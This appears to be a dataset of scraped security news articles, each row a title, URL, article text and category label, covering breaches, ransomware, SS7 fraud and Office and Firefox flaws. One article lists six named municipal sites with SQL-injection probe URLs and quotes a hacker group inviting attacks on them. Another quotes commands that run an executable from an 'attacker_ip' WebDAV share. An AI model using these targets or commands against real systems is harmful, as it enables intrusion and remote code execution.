Hackers Compromise Microsoft Support Agent to Access Outlook Email Accounts,https://thehackernews.com/2019/04/microsoft-outlook-email-hack.html,"If you have an account with Microsoft Outlook email service, there is a possibility that your account information has been compromised by an unknown hacker or group of hackers, Microsoft confirmed The Hacker News.

Earlier this year, hackers managed to breach Microsoft's customer support portal and access information related to some email accounts registered with the company's Outlook service.

Yesterday, a user on Reddit publicly posted a screenshot of an email which he received from Microsoft warning that unknown attackers were able to access some information of his OutLook account between 1 January 2019 and 28 March 2019.

Another user on Reddit also confirmed that he/she too received the same email from Microsoft.

According to the incident notification email, as shown below, attackers were able to compromise credentials for one of Microsoft's customer support agents and used it to unauthorisedly access some information related to the affected accounts, but not the content of the emails or attachments.
The information that a Microsoft's customer support agent can view is limited to account email addresses, folder names, subject lines of emails, and the name of other email addresses you communicate with.

""Our data indicates that account-related information (but not the content of any e-mails) could have been viewed, but Microsoft has no indication why that information was viewed or how it may have been used,"" the company says in the email.

It should be noted that since attackers had an alternative window, i.e., access to customer support account, to partially look inside the affected email accounts without actually having to log into each account, even the two-factor authentication was not able to prevent users' accounts.

At this time, it is not clear how the attackers were able to compromise Microsoft employee, but the tech company confirmed that it has now revoked the stolen credentials and started notifying all affected customers.

In an email to The Hacker News, Microsoft verified the authenticity of the notification email and confirmed the breach saying:

""We addressed this scheme, which affected a limited subset of consumer accounts, by disabling the compromised credentials and blocking the perpetrators' access.""

However, Microsoft did not disclose the total number of accounts affected by the incident.

Although the breach did not directly impact your email login credentials, Microsoft recommended users to still consider resetting passwords for their Microsoft accounts just to be on the safer side.

""Microsoft regrets any inconvenience caused by this issue,"" the company says. ""Please be assured that Microsoft takes data protection very seriously and has engaged its internal security and privacy teams in the investigation and resolution of the issue, as well as. additional hardening of systems and processes to prevent such recurrence.""

",Data_Breaches
TeaMp0isoN releases list of vulnerable police web sites,https://thehackernews.com/2011/10/teamp0ison-releases-list-of-vulnerable.html,"TeaMp0isoN releases list of vulnerable police web sites
TeaMp0isoN group of hackers published a list of vulnerable law enforcement authorities websites that can be hacked using MSAccess SQL injection attacks. Member from TeaMp0isoN with codename ""_f0rsaken"" create a pastebin note with following message for Police and People of World :
I do not like the Police. You beat on innocent and peaceful protestors for no reason other than that you want to protect your friends at the banks and yourselves to make money. It's all about money and the Police aiming to keep their job. Why did I decide on not releasing the databases? I want you to see for yourself how vulnerable these people really are and for you all to get an understanding on why I didn't release.


In this release I present you vulnerable websites that are open to MSAccess SQL injection. Below are official city websites that also the Police of that said area uses for their updates. Of course with all the money they make they couldn't spend a dime to invest into their security to make sure no breaches are bound to happen, they let petty vulnerabilities that still exist on their websites stay there with no fix.


Whatever you are storing fellow below cities, which I've seen from table names it isn't good, you better hope the rest of the Community who is smart doesn't find out what's to see ;-) You should of expected me a long time ago, now the realness is setting free the cage.
The SIX vulnerable sites as listed below
https://www.ci.vallejo.ca.us/GovSite/default.asp?serviceID1=79' (City of Vallejo, California Website)
https://holmesbeachfl.org/Cities/COHB/default.asp?section=3'(City of Holmes Beach, Florida Website)
https://www.cityofkaukauna.com/announcements/announcementdetail.asp?DeptID=1' (City of Kaukauna, Wisconsin Website)
https://www.ci.kaukauna.wi.us/departments/depthome.asp?DeptID=12'(City of Kaukauna, Wisconsin Website)
https://www.romenewyork.com/organization.asp?orgid=63' (City of Rome, New York Website)
https://www.eastgreenwichri.com/matriarch/MultiPiecePage.asp?PageID=84' (Town of East Greenwich, Rhode Island Website)
TeaMp0isoN Invites hackers to Use these vulnerabilities for destroying Police sites.

",Vulnerability
Hackers Using Google Analytics to Bypass Web Security and Steal Credit Cards,https://thehackernews.com/2020/06/google-analytics-hacking.html,"Researchers reported on Monday that hackers are now exploiting Google's Analytics service to stealthily pilfer credit card information from infected e-commerce sites.

According to several independent reports from PerimeterX, Kaspersky, and Sansec, threat actors are now injecting data-stealing code on the compromised websites in combination with tracking code generated by Google Analytics for their own account, letting them exfiltrate payment information entered by users even in conditions where content security policies are enforced for maximum web security.

""Attackers injected malicious code into sites, which collected all the data entered by users and then sent it via Analytics,"" Kaspersky said in a report published yesterday. ""As a result, the attackers could access the stolen data in their Google Analytics account.""

The cybersecurity firm said it found about two dozen infected websites across Europe and North and South America that specialized in selling digital equipment, cosmetics, food products, and spare parts.

Bypassing Content Security Policy

The attack hinges on the premise that e-commerce websites using Google's web analytics service for tracking visitors have whitelisted the associated domains in their content security policy (CSP).


CSP is an added security measure that helps detect and mitigate threats stemming from cross-site scripting vulnerabilities and other forms of code injection attacks, including those embraced by various Magecart groups.

The security feature allows webmasters to define a set of domains the web browser should be allowed to interact with for a specific URL, thereby preventing the execution of untrusted code.


""The source of the problem is that the CSP rule system isn't granular enough,"" PerimeterX's VP of research Amir Shaked said. ""Recognizing and stopping the above malicious JavaScript request requires advanced visibility solutions that can detect the access and exfiltration of sensitive user data (in this case, the user's email address and password).""

To harvest data using this technique, all that is needed is a small piece of JavaScript code that transmits the collected details like credentials and payment information through an event and other parameters that Google Analytics uses to uniquely identify different actions performed on a site.

""Administrators write *.google-analytics.com into the Content-Security-Policy header (used for listing resources from which third-party code can be downloaded), allowing the service to collect data. What's more, the attack can be implemented without downloading code from external sources,"" Kaspersky noted.

To make the attacks more covert, the attackers also ascertain if developer mode — a feature that's often used to spot network requests and security errors, among other things — is enabled in the visitor's browser, and proceed only if the result of that check is negative.

A ""Novel"" Campaign Since March

In a separate report released yesterday, Netherlands-based Sansec, which tracks digital skimming attacks, uncovered a similar campaign since March 17 that delivered the malicious code on several stores using a JavaScript code that's hosted on Google's Firebase.

For obfuscation, the actor behind the operation created a temporary iFrame to load an attacker-controlled Google Analytics account. The credit card data entered on payment forms is then encrypted and sent to the analytics console from where it's recovered using the encryption key earlier used.

Given the widespread use of Google Analytics in these attacks, countermeasures like CSP will not work if attackers take advantage of an already allowed domain to hijack sensitive information.


""A possible solution would come from adaptive URLs, adding the ID as part of the URL or subdomain to allow admins to set CSP rules that restrict data exfiltration to other accounts,"" Shaked concluded.

""A more granular future direction for strengthening CSP direction to consider as part of the CSP standard is XHR proxy enforcement. This will essentially create a client-side WAF that can enforce a policy on where specific data field[s] are allowed to be transmitted.""

As a customer, unfortunately, there isn't much you can do to safeguard yourself from formjacking attacks. Turning on developer mode in browsers can help when making online purchases.

But it's essential that you watch out for any instances of unauthorized purchases or identity theft.

",Data_Breaches
Real-World SS7 Attack — Hackers Are Stealing Money From Bank Accounts,https://thehackernews.com/2017/05/ss7-vulnerability-bank-hacking.html,"Security researchers have been warning for years about critical security holes in the Signaling System 7 (SS7) that could allow hackers to listen in private phone calls and read text messages on a potentially vast scale, despite the most advanced encryption used by cellular networks.

Cellular networks, on the other hand, have consistently been ignoring this serious issue, saying that it is a very low risk for most people, as the exploitation of the SS7 flaws requires significant technical and financial investment.

But some unknown hackers have just proved them wrong by recently exploiting the design flaws in the SS7 to drain victims' bank accounts, according to a report published Wednesday by German-based newspaper Süddeutsche Zeitung.

SS7 is a telephony signaling protocol created in the 1980s by telcos and powered more than 800 telecom operators across the world, including AT&T and Verizon, to interconnect and exchange data, like routing calls and texts with one another, enabling roaming, and other services.

Real-World SS7 Attack Scenarios

The global telecom network SS7 is vulnerable to several design flaws that could allow hackers to listen to phone calls and intercept text messages on a potentially massive scale, despite the most advanced encryption used by cellular network operators.

The designing flaws in SS7 have been in circulation since 2014 when a team of researchers at German Security Research Labs alerted the world to it.

So, the privacy concerns regarding the SS7 protocol is not new.

Here's the real-world evidence that cyber-criminals are using long-known SS7 vulnerability to drain Bank accounts.
CLICK TO TWEET

Last year, Karsten Nohl of German Security Research Labs demonstrated the SS7 attack on US Congressman Ted Lieu's phone number (with his permission) at TV program 60 Minutes and successfully intercepted his iPhone, recorded call, and tracked his precise location in real-time just by using his cell phone number and access to an SS7 network.

In a separate demonstration, the researchers from Positive Technologies last year also gave a demonstration on the WhatsApp, Telegram, and Facebook hacks using the same designing flaws in SS7 to bypass two-factor authentication used by the services.

Thieves Using SS7 Flaw to Steal Money From Bank Accounts

Now, Germany's O2 Telefonica has confirmed that the same SS7 weaknesses have recently been exploited by cybercriminals to bypass two-factor authentication (2FA) banks used to prevent unauthorized withdrawals from users bank accounts.

""Criminals carried out an attack from a network of a foreign mobile network operator in the middle of January,"" an O2 Telefonica representative told Süddeutsche Zeitung. ""The attack redirected incoming SMS messages for selected German customers to the attackers.""

In short, cyber criminals exploited SS7 flaws to intercept two-factor authentication codes (one-time passcode, or OTP) sent to online banking customers and drained their bank accounts.

Here's How:

The attackers first spammed out traditional bank-fraud trojans to infect account holders' computers and steal passwords used to log into bank accounts, view accounts balance, along with their mobile number.

But what prevented the attackers from making money transfers is the one-time password the bank sent via a text message to its online banking customers in order to authorize the transfer of funds between accounts.

To overcome this issue, the cyber crooks then purchased the access to a fake telecom provider and set-up a redirect for the victim's phone number to a handset controlled by them. Specifically, they used SS7 to redirect the SMSes containing OTPs sent by the bank.

Next, the attackers logged into victims' online bank accounts and transferred money out, because as soon as the authorization codes were sent by the bank, instead of designated account holders, they were routed to numbers controlled by the attackers, who finalized the transaction.

Can You Avoid this Hack?

This latest SS7 attack once again shed light on the insecurity by design and lack of privacy in the global telephone network protocol, making it clear that real-world SS7 attacks are possible. And since the SS7 network is used worldwide, the issue puts billions of users in danger.

The incident also underscores the risks of relying on SMS-based two-factor authentication.

Although the network operators are unable to patch the hole anytime soon, there is little the smartphone users can do. Avoid using two-factor authentication via SMS texts for receiving OTP codes. Instead, rely on cryptographically-based security keys as a second authentication factor.

",Vulnerability
Hackers selling cheap BOTNETs and DDOS on forums,https://thehackernews.com/2012/01/hackers-selling-cheap-botnets-and-ddos.html,"Hackers selling cheap BOTNETs and DDOS on forums
The Internet has revolutionized shopping around the world. Security researchers F-Secure reported recently in a post that hackers are Selling Cheap DDOS services on Various Forums. Hackers are offering services like distributed denial of service attacks (DDoS), which can be used to knock website offline in just 1 - 2 hours / 2$ per hour. They Posted a Youtube Video in which a young woman advertises DDoS services.


""We are here to provide you a cheap professional ddos service.We can hit most large websites/forums game servers.We will test the website/server before accepting your money.Due to the nature of the business we dont offer refunds."" Offer said.
There is another Interesting Hacker's Shop ! Moreover, for their assaults, the hackers chiefly utilize botnets, while ignorant operators of computers remain unaware that they've gotten contaminated with malware as also being controlled remotely.

""Do you want to be king of the internet? If your answer is yes, then you are in the true place. All of programs has been made by professional coders."" This website selling Local Botnet, Irc Botnet, Web Botnet and Keyloggers at 59$ only.

",Malware
This Antenna Can Remotely Steal Data From Devices using Sound Waves,https://thehackernews.com/2015/08/radio-signal-hacking-computer.html,"Remember the previously demonstrated technique to Hack into air-gapped computers using Heat waves?

What if the same was possible to hack computers to steal data using Sound waves?

Imagine, If a remote hacker could steal classified information from a targeted computer without having to physically and Internet access to it.

A team of security researchers has demonstrated exactly the same by developing a new hacking technique called Funtenna that uses sound and radio waves to siphon data from computers even without Internet access.

According to a lead researcher Ang Cui of Red Balloon Security, the Funtenna radio signal hack has the potential to turn Internet-connected devices (printer, washing machine and air conditioner) – popularly known as the Internet of Things – into bugs that can transmit data out of a network using sound waves that can not be heard by a human ear.

How Funtenna Works?

The attacker only needs to install malware on a target's device such as a printer, office phone, or a computer.
The malware overtakes the control of the electronic circuit of the device (general-purpose input/output circuits) and vibrates them at a frequency (which transmits radio signal) of the attacker's preference.

An attacker then can pick up these signals using an AM radio antenna (Funtenna) from a short distance away.
""You have network detection, firewalls… but this transmits data in a way that none of those things are monitoring, this fundamentally challenges how certain we can be of our network security,"" said Cui.
Here, the hacked devices are themselves acting as transmitters. Therefore, the new Funtenna technique bypasses all conventional network security methodologies.

You can also watch a video demonstration of how Funtenna works below:

Funtenna is actually using a technique known as ""Hardware Agnostic,"" which is generally available to operate with all modern computer systems and embedded devices.

The team showcased its new technique in action at the Black Hat security summit in Las Vegas on Wednesday. It will also release a ""proof-of-concept"" code for researchers and hackers.

",Malware
A New Critical SolarWinds Zero-Day Vulnerability Under Active Attack,https://thehackernews.com/2021/07/a-new-critical-solarwinds-zero-day.html,"SolarWinds, the Texas-based company that became the epicenter of a massive supply chain attack late last year, has issued patches to contain a remote code execution flaw in its Serv-U managed file transfer service.
The fixes, which target Serv-U Managed File Transfer and Serv-U Secure FTP products, arrive after Microsoft notified the IT management and remote monitoring software maker that the flaw was being exploited in the wild. The threat actor behind the exploitation remains unknown as yet, and it isn't clear exactly how the attack was carried out.
""Microsoft has provided evidence of limited, targeted customer impact, though SolarWinds does not currently have an estimate of how many customers may be directly affected by the vulnerability,"" SolarWinds said in an advisory published Friday, adding it's ""unaware of the identity of the potentially affected customers.""
Impacting Serv-U versions 15.2.3 HF1 and before, a successful exploitation of the shortcoming (CVE-2021-35211) could enable an adversary to run arbitrary code on the infected system, including the ability to install malicious programs and view, change, or delete sensitive data.
As indicators of compromise, the company is urging administrators to watch out for potentially suspicious connections via SSH from the IP addresses 98[.]176.196.89 and 68[.]235.178.32, or via TCP 443 from the IP address 208[.]113.35.58. Disabling SSH access on the Serv-U installation also prevents compromise.
The issue has been addressed in Serv-U version 15.2.3 hotfix (HF) 2.
SolarWinds also stressed in its advisory that the vulnerability is ""completely unrelated to the SUNBURST supply chain attack"" and that it does not affect other products, notably the Orion Platform, which was exploited to drop malware and dig deeper into the targeted networks by suspected Russian hackers to spy on multiple federal agencies and businesses in one of the most serious security breaches in U.S. history.
A string of software supply chain attacks since then has highlighted the fragility of modern networks and the sophistication of threat actors to identify hard-to-find vulnerabilities in widely-used software to conduct espionage and drop ransomware, in which hackers shut down the systems of business and demand payment to allow them to regain control.

",Vulnerability
Facebook SDK Vulnerability Puts Millions of Smartphone Users' Accounts at Risk,https://thehackernews.com/2014/07/facebook-sdk-vulnerability-puts.html,"Security researchers from MetaIntell, the leader in intelligent led Mobile Risk Management (MRM), have discovered a major security vulnerability in the latest version of Facebook SDK that put millions of Facebook user's Authentication Tokens at risk.

Facebook SDK for Android and iOS is the easiest way to integrate mobile apps with Facebook platform, which provides support for Login with Facebook authentication, reading and writing to Facebook APIs and many more.

Facebook OAuth authentication or 'Login as Facebook' mechanism is a personalized and secure way for users to sign into 3rd party apps without sharing their passwords. After the user approves the permissions as requested by the application, the Facebook SDK implements the OAuth 2.0 User-Agent flow to retrieve the secret user's access token required by the apps to call Facebook APIs to read, modify or write user's Facebook data on their behalf.

ACCESSING UNENCRYPTED ACCESS TOKEN
It is important that your secret token is never shared with anyone, but researchers found that Facebook SDK Library stores it in an unencrypted format on the device's file system, which can be accessed easily even on a non-rooted Android or jailed iOS Device.

""With just 5 seconds of USB connectivity, Access token is available on iOS via juice jacking attack, no jailbreak needed and on Android file system, it can be accessed via recovery mode which is tricker and require more time."" Chilik Tamir, Chief architect for MetaIntell told The Hacker News.

THREAT FROM OTHER APPS
Moreover, any 3rd party smartphone application with permission to access device file system can read this file and able to steal users' Facebook access tokens remotely, he said.

Researchers dubbed the vulnerability as ""Social Login Session Hijacking."". Once exploited, could allow an attacker to access victim's Facebook account information using access token and session hijacking method.

VIDEO DEMONSTRATION: STEALING FACEBOOK TOKEN FROM VIBER
Researchers published a Youtube video, demonstrating the reported vulnerability in one of the most popular messaging application 'VIBER' for iOS.
All those iOS and Android apps are vulnerable to this attack, who are using Facebook SDK for app login and storing users unencrypted access token on the device, Chilik Tamir told The Hacker News in an email.
""MetaIntell has identified that 71 of the top 100 free iOS apps use the Facebook SDK and are vulnerable, impacting the over 1.2 billion downloads of these apps. Of the top 100 Android apps, 31 utilize the Facebook SDK and therefore make vulnerable the over 100 billion downloads of these apps."" researcher said in a blog post.
PASSIVE RESPONSE FROM FACEBOOK SECURITY TEAM
MetaIntell team has already informed Facebook Security team about the vulnerability, but it seems that Facebook is not in any mood to update their SDK with a fix.
""I followed up with our Platform team to see if there were any changes they wanted to make here: - On the Android side we've concluded that we will not be making any changes: we are comfortable with the level of security provided by the Android OS. - On the iOS side the team is exploring the possibility of moving the access token storage to the keychain in order to comply with best practices."" Facebook replied to MetaIntell after bug report.
WHAT TO DO?
Mobile app users are advised to do not use 'Facebook Login' option within Mobile apps and disallow apps to use their Facebook login. App Developers are recommended to move their users' access tokens from device file system to secure online storage with encrypted channel.

",Vulnerability
Cryptowall Ransomware Spreading Rapidly through Malicious Advertisements,https://thehackernews.com/2014/06/new-cryptowall-ransomware-spreading.html,"Ransomware is an emerging threat in the evolution of cybercriminals techniques to part you from your money. Typically, the malicious software either lock victim's computer system or encrypt the documents and files on it, in order to extort money from the victims.

Though earlier we saw the samples of Ransomware tended to be simple with dogged determinations to extort money from victims. But with the exponential rise in the samples of Ransomware malwares, the recent ones are more subtle in design, including Cryptolocker, Icepole, PrisonLocker, CryptoDefense and its variants.

Now, the ransomware dubbed as Crytowall, a latest variant of the infamous ransomware Cryptolocker is targeting users by forcing them to download the malicious software by through advertising on the high profile domains belonging to Disney, Facebook, The Guardian newspaper and others.

Cryptolocker is designed by the same malware developer who created the sophisticated CryptoDefense (Trojan.Cryptodefense) ransomware, appeared in the end of March, that holds the victims' computer files hostage by wrapping them with strong RSA 2048 encryption until the victim pays a ransom fee to get them decrypted.

But unfortunately, the malware author failed to realize that he left the decryption keys left concealed on the user's computer in a file folder with application data.

So, to overcome this, the developer created Cryptowall ransomware and alike the latest versions of CryptoDefense, the infected system's files and documents encrypted by CryptoWall are impossible to decrypt.

The story broke, when researchers at Cisco revealed that cybercriminals have started targeting people with RIG Exploit Kits (EK) to distribute malicious Cryptowall ransomware malware.

The Rig Exploit Kit was first spotted by Kahu Security in April, which checks for an unpatched version of Flash, Internet Explorer, Java or the Silverlight multimedia program on the infected users and if found, the system is instantly exploited by the bad actors.

Researchers at Cisco have noticed high levels of traffic consistent with the new ""RIG"" exploit kit, thereby blocking requests to over 90 domains. On further investigation, the company observed that many of its Cloud Web Security (CWS) users were visiting on those malicious domains after clicking advertisements on high-profile domains such as ""apps.facebook.com,"" ""awkwardfamilyphotos.com,"" ""theguardian.co.uk"" and ""go.com,"" and many others.
If clicked, the advertisements redirect victims to one of those malicious domains in order to malvertise users and once the system get infected with the RIG Exploit Kit, it will deliver the payload which includes the Cryptowall Ransomware malware.

Now, when this CryptoWall is installed in the infected system, it will start scanning the system Hard Drive for data files and encrypt them.

After encrypting the files on victim's system, it will create files containing ransom instructions in every folder it had encrypted, demanding up to $500 USD. The service where users are instructed to pay the ransom amount is a hidden service that uses the Command-and-Control server hosted on TOR .onion domain.

The largest share of infections, some 42 percent, are in the United States, followed by England and Australia, but it believes that several groups and bad actors are involved in this attack chain.

",Malware
Ecuador Bank Hacked — $12 Million Stolen in 3rd Attack on SWIFT System,https://thehackernews.com/2016/05/swift-banking-hack.html,"Bangladesh is not the only bank that had become victim to the cyber heist. In fact, it appears to be just a part of the widespread cyber attack on global banking and financial sector by hackers who target the backbone of the world financial system, SWIFT.

Yes, the global banking messaging system that thousands of banks and companies around the world use to transfer Billions of dollars in transfers each day is under attack.

A third case involving SWIFT has emerged in which cyber criminals have stolen about $12 million from an Ecuadorian bank that contained numerous similarities of later attacks against Bangladesh's central bank that lost $81 Million in the cyber heist.

The attack on Banco del Austro (BDA) in Ecuador occurred in January 2015 and, revealed via a lawsuit filed by BDA against Wells Fargo, a San Francisco-based bank on Jan. 28, Reuters reported.

Here's how cyber criminals target banks:
Uses malware to circumvent local security systems of a bank.
Gains access to the SWIFT messaging network.
Sends fraudulent messages via SWIFT to initiate cash transfers from accounts at larger banks.
Over ten days, hackers used SWIFT credentials of a bank employee to modify transaction details for at least 12 transfers amounting to over $12 Million, which was transferred to accounts in Hong Kong, Dubai, New York and Los Angeles.

In the lawsuit, BDA holds Wells Fargo responsible for not spotting the fraudulent transactions and has demanded Wells Fargo to return the full amount that was stolen from the bank.

The lawsuit filed by BDA in a New York federal court described that the some of these attacks could have been prevented if banks would have shared more details about the attacks with the SWIFT organization.
Wells Fargo has also fired back and blamed BDA's information security policies and procedures for the heist and noted that it ""properly processed the wire instructions received via authenticated SWIFT messages,"" according to court documents.
According to reports, the heist remained a secret for a long time and now disclosed when BDA decided to sue Wells Fargo that approved the fraudulent transfers.

SWIFT did not have any idea about the breach, as neither BDA nor Wells Fargo shared any detail about the attack.
""We were not aware,"" SWIFT said in a statement. ""We need to be informed by customers of such frauds if they relate to our products and services so that we can inform and support the wider community. We have been in touch with the bank concerned to get more information, and are reminding customers of their obligations to share such information with us.""
It turns out that the security of SWIFT itself was not breached in the attack, but cyber criminals used advanced malware to steal credentials of bank's employees and cover their tracks.

In February, $81 Million cyberheist at the Bangladesh central bank was carried out by hacking into SWIFT using a piece of malware that manipulated logs and erased the fraudulent transactions history, and even prevented printers from printing those transactions.

",Malware
Warning! Update Mozilla Firefox to Patch Critical File Stealing Vulnerability,https://thehackernews.com/2015/08/mozilla-firefox-update-download.html,"Earlier this week, Mozilla Security researcher Cody Crews discovered a malicious advertisement on a Russian news site that steals local files from a system and upload them to a Ukrainian server without the user ever knowing.

The malicious advertisement was exploiting a serious vulnerability in Firefox's PDF Viewer and the JavaScript context in order to inject a script capable of searching sensitive files on user's local file systems.

Mozilla versions of Firefox that do not contain the PDF Viewer, such as Firefox for Android, are not affected by the ""Same origin violation and local file stealing via PDF reader"" vulnerability.

The exploit does not execute any arbitrary code but injects a JavaScript payload into the local file context, allowing the script to search for and upload potentially user's sensitive local files.

All an attacker need to do is load the page with this exploit and sit back and relax. The exploit will silently steal files in the background.

According to Mozilla lead security researcher Daniel Veditz, the exploit specifically searches for:
FTP configuration files, subversion, s3browser, Filezilla, libpurple and other account information on Windows systems.
Global configuration files and user directories on Linux systems.
Any files encountered by the exploit are uploaded to a server in Ukraine.
""The exploit leaves no trace it has been run on the local machine,"" Veditz wrote in a blog post. ""If you use Firefox on Windows or Linux it would be prudent to change any passwords and keys found in the above-mentioned files if you use the associated programs.""
Mac users are currently safe from this exploit, but researcher warned that another payload could potentially exploit the same vulnerability to target Mac systems.

All versions of Firefox are affected, but the good news is that Mozilla has fixed the issue in its software. So, users are recommended to update browsers to Firefox 39.0.3 to protect against the exploit. Enterprise users can patch to 38.1.1.

",Vulnerability
Smart Hacking For Privacy : What TV shows you watch ?,https://thehackernews.com/2012/01/smart-hacking-for-privacy-what-tv-shows.html,"Smart Hacking For Privacy : What TV shows you watch ?

White-hat hackers have exposed the privacy shortcomings of smart meter technology. At the Chaos Communication Congress in Germany, 28C3, researchers presented ""Smart Hacking For Privacy"" After analyzing data collected by a smart meter, these gentlemen were able to determine devices like how many PCs or LCD TVs in a home, what TV program was being watched, and if a DVD movie being played had copyright-protected material.

Dario Carluccio and Stephan Brinkhaus demonstrated the flaws. Advanced metering devices (aka smart meters) are nowadays being installed throughout electric networks in Germany, in other parts of Europe and in the United States. Due to a recent amendment especially in Germany they become more and more popular and are obligatory for new and refurbished buildings.
DarrellIssa
The researchers, also customers, learnt that energy consumption data was sent unencrypted because SSL was malfunctioning.They intercepted and manipulated the data using Fritzbox! and WireShark and returned to the company a negative energy consumption rate of -106610 kWh.Similar flaws also allowed Carluccio and Brinkhaus to demonstrate that a customer's entire power consumption history was stored by Discovergy.

They signed up with a company called Discovergy to see what type of information these meters collect, whether they were as secure as the company promised and what they might be able to determine from consumption patterns. Because Discovergy's website's SSL certificate was misconfigured, the meters failed to send data over a secure, encrypted link contrary to claims Discovergy made at the time before the presentation. This meant that confidential electricity consumption data was sent in clear text. Because meter readings were sent in clear text, the researchers were able to intercept and send back forged (incorrect) meter readings back to Discovergy.

A capability that allowed power consumption to be monitored in two-second intervals was also exploited.The researchers said they could determine if a particular movie had been watched based on two-second relay data held by Discovergy and accessed through HTTP GET requests.

Researchers from Münster University of Applied Sciences were previously able analyze smart meter data to identify the power consumption activity for a refrigerator, stove, and television. They showed that the type of LCD TV set could be identified, what TV program was on, or if a movie was playing from a DVD or other source.

The next step was ""having fun with the smart meter"" which began with writing Python, continuously spoofing the packets, faking smart meter data which required a MITM attack.

",Vulnerability
Authorities Seize Dark-Web Site Linked to the Netwalker Ransomware,https://thehackernews.com/2021/01/authorities-seize-dark-web-site-linked.html,"U.S. and Bulgarian authorities this week took control of the dark web site used by the NetWalker ransomware cybercrime group to publish data stolen from its victims.
""We are striking back against the growing threat of ransomware by not only bringing criminal charges against the responsible actors, but also disrupting criminal online infrastructure and, wherever possible, recovering ransom payments extorted from victims,"" said Acting Assistant Attorney General Nicholas L. McQuaid of the Justice Department's Criminal Division.
""Ransomware victims should know that coming forward to law enforcement as soon as possible after an attack can lead to significant results like those achieved in today's multi-faceted operation.""
In connection with the takedown, a Canadian national named Sebastien Vachon-Desjardins from the city of Gatineau was charged in the U.S. state of Florida for extorting $27.6 million in cryptocurrency from ransom payments.
Separately, the Bulgarian National Investigation Service and General Directorate Combating Organized Crime seized a dark web hidden resource used by NetWalker ransomware affiliates — i.e., cybercrime groups responsible for identifying and attacking high-value victims using the ransomware — to provide payment instructions and communicate with victims.
Visitors to the website will now be greeted by a seizure banner notifying them that it has been taken over by law enforcement authorities.
Chainalysis, which aided in the investigation, said it has ""traced more than $46 million worth of funds in NetWalker ransoms since it first came on the scene in August 2019,"" adding ""it picked up steam in mid-2020, growing the average ransom to $65,000 last year, up from $18,800 in 2019.""
In recent months, Netwalker emerged as a popular choice of ransomware strain besides Ryuk, Maze, Doppelpaymer, and Sodinokibi, with numerous companies, municipalities, hospitals, schools, and universities targeted by the cybercriminals to extort victims.
Before the takedown, the NetWalker administrator, who goes by the moniker ""Bugatti"" on darknet forums, is said to have posted an advertisement in May 2020 looking for additional Russian-speaking affiliates as part of a transition to a ransomware-as-a-service (RaaS) model, using the partners to compromise targets and steal data before encrypting the files.
The NetWalker operators have also been part of a growing ransomware trend called double extortion, where the attackers hold the stolen data hostage and threaten to publish the information should the target refuse to pay the ransom.
""After a victim pays, developers and affiliates split the ransom,"" the U.S. Department of Justice (DoJ) said.
Chainalysis researchers suspect that besides involving in at least 91 attacks using NetWalker since April 2020, Vachon-Desjardins worked as an affiliate for other RaaS operators such as Sodinokibi, Suncrypt, and Ragnarlocker.
The NetWalker disruption comes on the same day that European authorities announced a coordinated takedown targeting the Emotet crimeware-as-a-service network. The botnet has been used by several cybercrime groups to deploy second-stage malware — most notably Ryuk and TrickBot.

",Cyber_Attack
17-Year-Old MS Office Flaw Lets Hackers Install Malware Without User Interaction,https://thehackernews.com/2017/11/microsoft-office-rce-exploit.html,"You should be extra careful when opening files in MS Office.

When the world is still dealing with the threat of 'unpatched' Microsoft Office's built-in DDE feature, researchers have uncovered a serious issue with another Office component that could allow attackers to remotely install malware on targeted computers.

The vulnerability is a memory-corruption issue that resides in all versions of Microsoft Office released in the past 17 years, including Microsoft Office 365, and works against all versions of Windows operating system, including the latest Microsoft Windows 10 Creators Update.

Discovered by the security researchers at Embedi, the vulnerability leads to remote code execution, allowing an unauthenticated, remote attacker to execute malicious code on a targeted system without requiring user interaction after opening a malicious document.

The vulnerability, identified as CVE-2017-11882, resides in EQNEDT32.EXE, an MS Office component which is responsible for insertion and editing of equations (OLE objects) in documents.

However, due to improper memory operations, the component fails to properly handle objects in the memory, corrupting it in such a way that the attacker could execute malicious code in the context of the logged-in user.

Seventeen years ago, EQNEDT32.EXE was introduced in Microsoft Office 2000 and had been kept in all versions released after Microsoft Office 2007 in order to ensure the software remains compatible with documents of older versions.

DEMO: Exploitation Allows Full System Take Over
Exploitation of this vulnerability requires opening a specially crafted malicious file with an affected version of Microsoft Office or Microsoft WordPad software.

This vulnerability could be exploited to take complete control over a system when combined with Windows Kernel privilege escalation exploits (like CVE-2017-11847).

Possible Attack Scenario:

While explaining the scope of the vulnerability, Embedi researchers suggested several attack scenarios listed below:

""By inserting several OLEs that exploited the described vulnerability, it was possible to execute an arbitrary sequence of commands (e.g., to download an arbitrary file from the Internet and execute it).""

""One of the easiest ways to execute arbitrary code is to launch an executable file from the WebDAV server controlled by an attacker.""

""Nonetheless, an attacker can use the described vulnerability to execute the commands like cmd.exe /c start \\attacker_ip\ff. Such a command can be used as a part of an exploit and triggers starting WebClient.""

""After that, an attacker can start an executable file from the WebDAV server by using the \\attacker_ip\ff\1.exe command. The starting mechanism of an executable file is similar to that of the \\live.sysinternals.com\tools service.""

Protection Against Microsoft Office Vulnerability

With this month's Patch release, Microsoft has addressed this vulnerability by changing how the affected software handles objects in memory.

So, users are strongly recommended to apply November security patches as soon as possible to keep hackers and cybercriminals away from taking control of their computers.

Since this component has a number of security issues which can be easily exploited, disabling it could be the best way to ensure your system security.

Users can run the following command in the command prompt to disable registering of the component in Windows registry:
reg add ""HKLM\SOFTWARE\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}"" /v ""Compatibility Flags"" /t REG_DWORD /d 0x400
For 32-bit Microsoft Office package in x64 OS, run the following command:
reg add ""HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}"" /v ""Compatibility Flags"" /t REG_DWORD /d 0x400
Besides this, users should also enable Protected View (Microsoft Office sandbox) to prevent active content execution (OLE/ActiveX/Macro).

",Malware
MyAgent Trojan Targets Defense and Aerospace Industries,https://thehackernews.com/2012/08/myagent-trojan-targets-defense-and.html,"FireEye Security experts are analyzing a targeted trojan that leverages emailed PDF files to gain access to systems and deliver its payload to specified networks in the aerospace, chemical, defense and tech industries.

""We have seen different versions of this malware arriving as an exe inside a zipped file or as a PDF attachment. In this particular sample, the exe once executed opens up a PDF file called ""Health Insurance and Welfare Policy."" In addition to opening up a PDF file, the initial exe also drops another executable called ABODE32.exe (notice the typo) in the temp directory.""
The malware also uses JavaScript to assess which version of Adobe Reader is currently running on the host machine, and then executes attacks based on known vulnerabilities in the discovered version. Once the trojan has infected its host machine, it communicates with its command and control server, the user agent string and URI of which are hard-coded into MyAgent's binary.

